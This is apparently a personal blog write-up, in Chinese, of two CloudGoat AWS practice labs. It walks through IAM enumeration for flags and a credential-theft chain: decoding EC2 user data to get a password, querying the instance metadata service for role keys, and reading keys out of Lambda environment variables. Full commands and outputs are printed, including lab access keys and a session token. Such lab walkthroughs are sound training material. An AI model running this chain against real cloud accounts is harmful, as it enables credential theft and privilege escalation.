mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
Profile Image of the Author
btop251
Announcement
Welcome to my blog! 俺是ctf菜鸟，ai晓汁.
标签
1167 字
3 分钟
云安全03
2026-06-02
云安全
云安全

“CloudGoat”是安全公司 Rhino Security Labs 开发的一款专门设计为“自带漏洞”的 AWS 安全演练工具。

简单来说就是一个开源的自部署的云靶场

安装和部署#

安装依赖

sudo apt update
sudo apt install -y python3 python3-pip pipx unzip curl jq awscli
pipx ensurepath

安装 Terraform

wget -O terraform.zip https://releases.hashicorp.com/terraform/1.8.5/terraform_1.8.5_linux_amd64.zip
unzip terraform.zip
sudo mv terraform /usr/local/bin/
terraform version

安装 CloudGoat

pipx install cloudgoat
cloudgoat --help

配置

cloudgoat config aws

输入用户名称

aws用户创建看我第二篇博客云安全01 - Btop251的博客

配置白名单

cloudgoat config whitelist --auto

靶场搭建#

cloudgoat中有17个靶场，在Github页面的Scenarios Available部分可以导航到每个靶场的详情页面。

iam_enum_basics#

点击第一个iam_enum_basics靶场。

在这种情况下，你从一个名叫Bob的低级IAM用户的访问密钥开始。你的任务是使用 AWS CLI 进行全面的 IAM 枚举。通过调查托管政策、内联策略、组成员资格和可替代角色，你将发现五个不同的警示信号。

cloudgoat create iam_enum_basics

根据提供的用户信息登录新用户

aws configure --profile lel1

Flag 1: 映射出管理策略(The Description)#

列出托管在bob下的所有策略，返回一个ARNs（亚马逊资源名）列表

aws iam list-attached-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1

ARN（Amazon Resource Name）是 AWS 中唯一标识资源的标准名称，可以理解为 AWS 世界里的“资源身份证”。

当 AWS 需要指定：

  • 某个 IAM 用户
  • 某个 S3 存储桶
  • 某个 EC2 实例
  • 某个 Lambda 函数

时，通常都会使用 ARN。

接下来看这个arn下的具体数据，通过下面这个get命令

ubuntu@ip-172-31-37-19:~$ aws iam get-policy --policy-arn arn:aws:iam::259534891128:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1
{
    "Policy": {
        "PolicyName": "cg-flag1-managed-policy-cgid6iy7d9rxpn",
        "PolicyId": "ANPATY3L4FB4DHX4XDKAS",
        "Arn": "arn:aws:iam::259534891128:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "HSM{m4n4g3d_p0l1cy_m4st3r}",
        "CreateDate": "2026-06-08T08:55:30+00:00",
        "UpdateDate": "2026-06-08T08:55:30+00:00",
        "Tags": [
            {
                "Key": "Scenario",
                "Value": "scenario_template"
            },
            {
                "Key": "Stack",
                "Value": "CloudGoat"
            }
        ]
    }
}

在回显中找到flag1字段

 "Description": "HSM{m4n4g3d_p0l1cy_m4st3r}"

Flag 2: 查找内联策略(The Statement ID)#

概念：与托管策略不同，内联策略是自定义的、一次性的、直接固化到特定用户的规则。管理员经常创建它们来进行快速修复，然后又忘记了它们，使它们成为权限提升的主要目标。

检查bob有没有什么隐藏的内联策略

ubuntu@ip-172-31-37-19:~$ aws iam list-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1
{
    "PolicyNames": [
        "cg-flag2-inline-policy-cgid6iy7d9rxpn"
    ]
}

有了这个内联策略，拉去文档看看描述

ubuntu@ip-172-31-37-19:~$ aws iam get-user-policy --user-name cg-bob-cgid6iy7d9rxpn --profile lel1 --policy-n
ame  cg-flag2-inline-policy-cgid6iy7d9rxpn
{
    "UserName": "cg-bob-cgid6iy7d9rxpn",
    "PolicyName": "cg-flag2-inline-policy-cgid6iy7d9rxpn",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ec2:DescribeInstances",
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "HSM1nl1n3p0l1cyd1sc0v3r3d"
            }
        ]
    }
}

拿到flag2

Flag 3:调查组成员 (The Path)#

概念：在AWS中，您不仅从直接附加到您的策略中获得权限；您还从所属的任何组继承所有权限。

在01篇中也有提到权限的获取也可以通过添加进组

检查bob属于哪个组

ubuntu@ip-172-31-37-19:~$ aws iam list-groups-for-user --user-name cg-bob-cgid6iy7d9rxpn --profile lel1
{
    "Groups": [
        {
            "Path": "/HSM_gr0up_m3mb3rsh1p_f0und/",
            "GroupName": "cg-flag3-group-cgid6iy7d9rxpn",
            "GroupId": "AGPATY3L4FB4BLZSKM3YX",
            "Arn": "arn:aws:iam::259534891128:group/HSM_gr0up_m3mb3rsh1p_f0und/cg-flag3-group-cgid6iy7d9rxpn",
            "CreateDate": "2026-06-08T08:55:30+00:00"
        }
    ]
}

Flag 4:通过可承担的规则(Roles)#

The Concept: Roles are temporary “hats” that a user can put on to gain different privileges. If a pentester finds an overly permissive role that their compromised user is allowed to assume, it’s often game over.

列出账户中所有的roles

 aws iam list-roles --profile lel1
{
            "Path": "/",
            "RoleName": "cg-flag4-role-cgid6iy7d9rxpn",
            "RoleId": "AROATY3L4FB4HEPHZGEKS",
            "Arn": "arn:aws:iam::259534891128:role/cg-flag4-role-cgid6iy7d9rxpn",
            "CreateDate": "2026-06-08T08:55:39+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::259534891128:user/cg-bob-cgid6iy7d9rxpn"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }

查他元数据

aws iam get-role --role-name cg-flag4-role-cgid6iy7d9rxpn --profile lel1

拿到flag

Flag 05: 策略版本#

当策略在后期修改时发现出现了修改错误可以进行回滚，类似git

首先，回顾第1步的输出defaultversionid（它通常是v1）

多加个规定版本

ubuntu@ip-172-31-37-19:~$ aws iam get-policy-version --policy-arn arn:aws:iam::259534891128:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1 --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:ListBucket",
                        "s3:GetObject"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:s3:::HSM{s3cr3t_js0n_str1ng}"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-06-08T08:55:30+00:00"
    }
}

拿到flag

data_secrets (Easy)#

在这种场景下，首先需要一个权限有限的IAM用户。你的任务是识别一个错误配置的EC2实例，泄露其用户数据中的凭据，让你获得SSH访问权限。从这里开始，您必须通过利用实例元数据服务（Instance Metadata Service， IMDS）来窃取角色，枚举Lambda函数以找到隐藏的环境变量，最后危及能够访问场景目标的用户：存储在AWS Secrets Manager中的秘密。

创建实例

cloudgoat create data_secrets

登录新用户

aws configure --profile start_user

枚举权限和EC2资源#

查看旗下有什么EC2资源

aws ec2 describe-instances --region us-east-1 --profile start_user

得到instance-id为i-09c6156a353b3b589

AWS中一个常见的错误配置是将敏感数据（脚本、密码、密钥）存储在EC2用户数据中，这对于拥有ec2:DescribeInstanceAttribute权限的用户是可见的

获取你找到的实例的用户数据：

ubuntu@ip-172-31-37-19:~$ aws ec2 describe-instance-attribute --instance-id i-09c6156a353b3b589 --attribute u
serData --region us-east-1 --profile start_user
{
    "InstanceId": "i-09c6156a353b3b589",
    "UserData": {
        "Value": "IyEvYmluL2Jhc2gKZWNobyAiZWMyLXVzZXI6Q2xvdWRHb2F0SW5zdGFuY2VQYXNzd29yZCEiIHwgY2hwYXNzd2QKc2VkIC1pICdzL1Bhc3N3b3JkQXV0aGVudGljYXRpb24gbm8vUGFzc3dvcmRBdXRoZW50aWNhdGlvbiB5ZXMvZycgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VydmljZSBzc2hkIHJlc3RhcnQK"
    }
}

image-20260610141448447

base64解码得到

#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart

通过实例得知他将密码改成了ec2-user:CloudGoatInstancePassword!，然后可以用这个密码和上面暴露的ip登录ssh

ssh ec2-user@3.239.44.224

一旦进入EC2实例，您就可以有效地访问附加到它的任何IAM角色。我们可以通过查询链接本地地址169.254.169.254来检索这些凭证。

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

得到一个角色cg-ec2-role-cgidvilqp7qpxs，接下来检索该角色的凭据：

curl http://169.254.169.254/latest/meta-data/iam/securi-cgidvilqp7qpxscg-ec2-role


{
  "Code" : "Success",
  "LastUpdated" : "2026-06-10T06:34:08Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATY3L4FB4J5WQZACG",
  "SecretAccessKey" : "Akd3TQot+60AVJyJlVyrOOsVUysTZwGTroGP4Vv4",
  "Token" : "IQoJb3JpZ2luX2VjEBcaCXVzLWVhc3QtMSJHMEUCIBcony0sIGB2n81jUXNYSVCM7khxwIT9I4jHEDJdhuG+AiEAwoK5/vE0YUDkSrBlLu5XzAgDshOjQr4pMTHbHv5ai4oqwgUI4P//////////ARAAGgwyNTk1MzQ4OTExMjgiDDuFDN8+dWApCEjOiSqWBUIDVyNNHFjzknfKhHjQDdJyETQzBOjbGSE0rIO1kp4VJyvnjE8FpJVxkoTtSuegRC2QWlj/AKDCFDZMxyvBiVFT33QIGm6YaK3fIs5TTSoWMe6RvNqrmVeBPwkjEiXRVdgaIkUZqVtGxvb7aW0LdkMVtzW/wd6G5YaiPPAxnbYkJPrdrrdYa7fyTQA9e4SvoPtib/igpeRQEA97TcomBedh3wLQlhjQII6gknZ2K8v9N5vZsdjtK6cXnOfXKAxr+BJEq0t2c5y+gCGkWfdoNfa+IBowHMbvw85IwD7I+1lKb9KieQcbckMUlEenPKpwcWReXPGo8C7t4I7pti/p3Jn4Fq2ioTr2nldUYU4v7wr85S+l6JLvquMxVDzHYLIjJs7kV8Hog/1bGvsBJHXDkPeVlMfUJf7s+m/YF8Wwg1mA7GQmvxFfVm1FYzkd3mNf+81BtkbkOGc3xRJ8Mvk3Cpit3zeWLTTUNo8Q+y2DT2g+K048hWv627+BqOIVbCe8bFqeXULDdcjdcdmaf4vwICcSvykSX+HLSMCtNEKQJI4pJss+FnRH/UASbC7pfvyMV0u19EhxpDjHcUwAk2qvyU+ooOfdzxMN/+rQmIoxCRVnGb1Oeka9Jz32+5SmxbARLz+sblimV8aGJgfYxQ0JWVDdjgNqiXeM8mTwWalb/5ZWsa/c5abuQ6bPl50Wgc2URy6nRvyj1at8n0X94oOkKMHZ4CNgfDV+UFQgu3XSMZelW5eeWgu+tnK590HEYmrvG7gQTj6GaEwg+ynoUCG6T6qcIESCSQVcxO1XZ9C+L9MCRZ7UxO6JqK8O1CuDsCXIdwS1Cl1CYBciF14n+M1+LhKrb1bBz4pL8pY5WQhaCFyGhjq0cqU0MO+KpNEGOrEB6yqGce9QI+HdW616Lzp+PbhySkow27N08ES5rIBrFA4DFK1El/ize1AOZYPs/z2eGvBrs6l9Dve57UCKSGMH3U9MVkrkMxfOrulnppqDbHlKppNWAqJsW1+uu3fBikY9MEYbt8z0ymSpy2cJWbqprdyHbA8muntGPmrb99Ed1fTgOh0tCs/npNo1LLjeGR8JgpwU2F+CJOhifRyrzknpD/95unND2yCSC8+1P4BbmwyF",
  "Expiration" : "2026-06-10T13:01:28Z"

盗用这些信息在本地也配置一个用户

aws configure --profile ec2_role

列举出这个profile下的函数

aws lambda list-functions --region us-east-1 --profile ec2_role


{
    "Functions": [
        {
            "FunctionName": "cg-lambda-function-cgidvilqp7qpxs",
            "FunctionArn": "arn:aws:lambda:us-east-1:259534891128:function:cg-lambda-function-cgidvilqp7qpxs",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::259534891128:role/cg-lambda-exec-role-cgidvilqp7qpxs",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 221,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2026-06-10T05:57:49.271+0000",
            "CodeSha256": "J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "DB_USER_ACCESS_KEY": "AKIATY3L4FB4G6TSQJWI",
                    "DB_USER_SECRET_KEY": "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"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "8ab7c2cb-5a81-4071-a0f9-27dcaf82054e",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/cg-lambda-function-cgidvilqp7qpxs"
            }
        }
    ]
}

开发人员经常不正确地将API密钥或数据库凭据存储在Lambda环境变量中。获取该函数的配置细节

aws lambda get-function --function-name cg-lambda-function-cgidvilqp7qpxs --region us-east-1 --profile ec2_role


{
    "Configuration": {
        "FunctionName": "cg-lambda-function-cgidvilqp7qpxs",
        "FunctionArn": "arn:aws:lambda:us-east-1:259534891128:function:cg-lambda-function-cgidvilqp7qpxs",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::259534891128:role/cg-lambda-exec-role-cgidvilqp7qpxs",
        "Handler": "lambda_function.lambda_handler",
        "CodeSize": 221,
        "Description": "",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2026-06-10T05:57:49.271+0000",
        "CodeSha256": "J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc=",
        "Version": "$LATEST",
        "Environment": {
            "Variables": {
                "DB_USER_ACCESS_KEY": "AKIATY3L4FB4G6TSQJWI",
                "DB_USER_SECRET_KEY": "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"
            }
        },
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "8ab7c2cb-5a81-4071-a0f9-27dcaf82054e",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:b46f7bc0f3da8071d1b824471f2c69c8766b756b827eb0455d2118c622ae7bcf"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/cg-lambda-function-cgidvilqp7qpxs"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/259534891128/cg-lambda-function-cgidvilqp7qpxs-35922ecb-916c-410c-9d02-34c6bf762f3c?versionId=y9iclg5EVyF1y.LWcCBRikGsNSIw23q7&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEBAaCXVzLWVhc3QtMSJIMEYCIQCcxETAd%2FMCHu9tu60eM3g7h5qmJO12awIDyXsWUrUHtQIhANJLot1XEjxE982kyCsAySjJhZPQQlvirrGCvI7mq%2F7uKpQCCNj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQABoMNzQ5Njc4OTAyODM5IgzX5MsuGTg%2F6EBi3pUq6AE7SZcYhhYnG1GQjAyA1K4lz5K%2FXtmcrtH7WhuYDatlpzH1pHJbmRs%2FlOCs4r%2Bk6i2zn%2FAaDVfB0b0g9yloVK%2F7KeEU71lGh644R7wgbh%2Bfh8TnRNeR1KGfag5VTTGVfpcCc3ZK6DChlYxX9k4yvtl%2FrZz2NKLnZnqBWPZ%2FWwI8g9juj41sGfNfATQ%2FNjQgCg6lCn%2Bn1%2BdYCgfEqody1QJxpr3%2Bz5JazA1ZvkXjfoH7HlWvqUI2zPhc4Rns7I1xdSafc5xwgfa3tFy9cPgO7PnbVLsJxS%2FXGNctXjxmwq7J0vymjX8KDthAMN29otEGOowBUj7R8mn%2BugJRzS%2Bimqfn7EPt4nf0eQXONtryilOg5j%2FySxwmap3itbqo1mG7eiTam4v3OxWrVUJHSvyL%2Fwg80ZkQlpaGbu%2BAzIfSP8Bz7QDij%2FqMxU2Khse7kWjrutFlCP3N1ZgAkhvbrrELOXq3HTBZFe3rwUhMngOEgWQyQo4L7kbVQqo0CvP%2B56o%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260610T065312Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3UR7EXAWW%2F20260610%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=fb5d830d80622623234ce6dde900f420126cad059c42c14f82f31012bacb3f24"
    },
    "Tags": {
        "Name": "cg-lambda-cgidvilqp7qpxs",
        "Scenario": "scenario_template",
        "Stack": "CloudGoat"
    }
}

在返回的json中发现

"Variables": {
                "DB_USER_ACCESS_KEY": "AKIATY3L4FB4G6TSQJWI",
                "DB_USER_SECRET_KEY": "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"
            }

登录

aws configure --profile lambda_user

列出数据

ubuntu@ip-172-31-37-19:~$ aws secretsmanager list-secrets --region us-east-1 --profile lambda_user
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:259534891128:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC",
            "Name": "cg-final-flag-cgidvilqp7qpxs",
            "Description": "The final flag for the CloudGoat scenario",
            "LastChangedDate": "2026-06-10T05:57:43.723000+00:00",
            "LastAccessedDate": "2026-06-10T00:00:00+00:00",
            "Tags": [
                {
                    "Key": "Stack",
                    "Value": "CloudGoat"
                },
                {
                    "Key": "Name",
                    "Value": "cg-final-flag-cgidvilqp7qpxs"
                },
                {
                    "Key": "Scenario",
                    "Value": "scenario_template"
                }
            ],
            "SecretVersionsToStages": {
                "terraform-20260610055743330600000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2026-06-10T05:57:42.426000+00:00"
        }
    ]
}

找到flag了

ubuntu@ip-172-31-37-19:~$ aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidvilqp7qpxs --regi
on us-east-1 --profile lambda_user
{
    "ARN": "arn:aws:secretsmanager:us-east-1:259534891128:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC",
    "Name": "cg-final-flag-cgidvilqp7qpxs",
    "VersionId": "terraform-20260610055743330600000002",
    "SecretString": "{\"flag\":\"d4t4_s3cr3ts_4r3_fun\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2026-06-10T05:57:43.718000+00:00"
}

暂时搁置，要不然期末要挂科了

分享

如果这篇文章对你有帮助，欢迎分享给更多人！

云安全03
https://blog.btop251.top/posts/cloud-security/cloud-security03/
作者
btop251
发布于
2026-06-02
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

神砖转专业指北
云安全工具（持续更新
相关文章 智能推荐
1
云安全02
云安全 flaws.cloud靶场练习
2
云安全00
云安全 该学点新东西了，先开个头
3
云安全01
云安全 这篇重点在说明云安全中的相关概念
4
云安全工具（持续更新
云安全 一个工具开一篇博客的话就太水了，还是整合到一起讲吧
5
神砖转专业指北
others 关于我转专业的一些经验
随机文章 随机推荐
1
rce-labs level1~15
CTF 2025-12-08
2
Sub2api搭建中转站管理号池
others 2026-05-29
3
?ctf（复现
CTF 2025-11-28
4
中值定理“双介值”问题解题思路与解析
Math 2025-12-26
5
DASCTF2026
CTF 2026-05-30
© 2026 btop251. All Rights Reserved. / RSS / Atom / Sitemap
Powered by Astro & Mizuki  Version 9.0

目录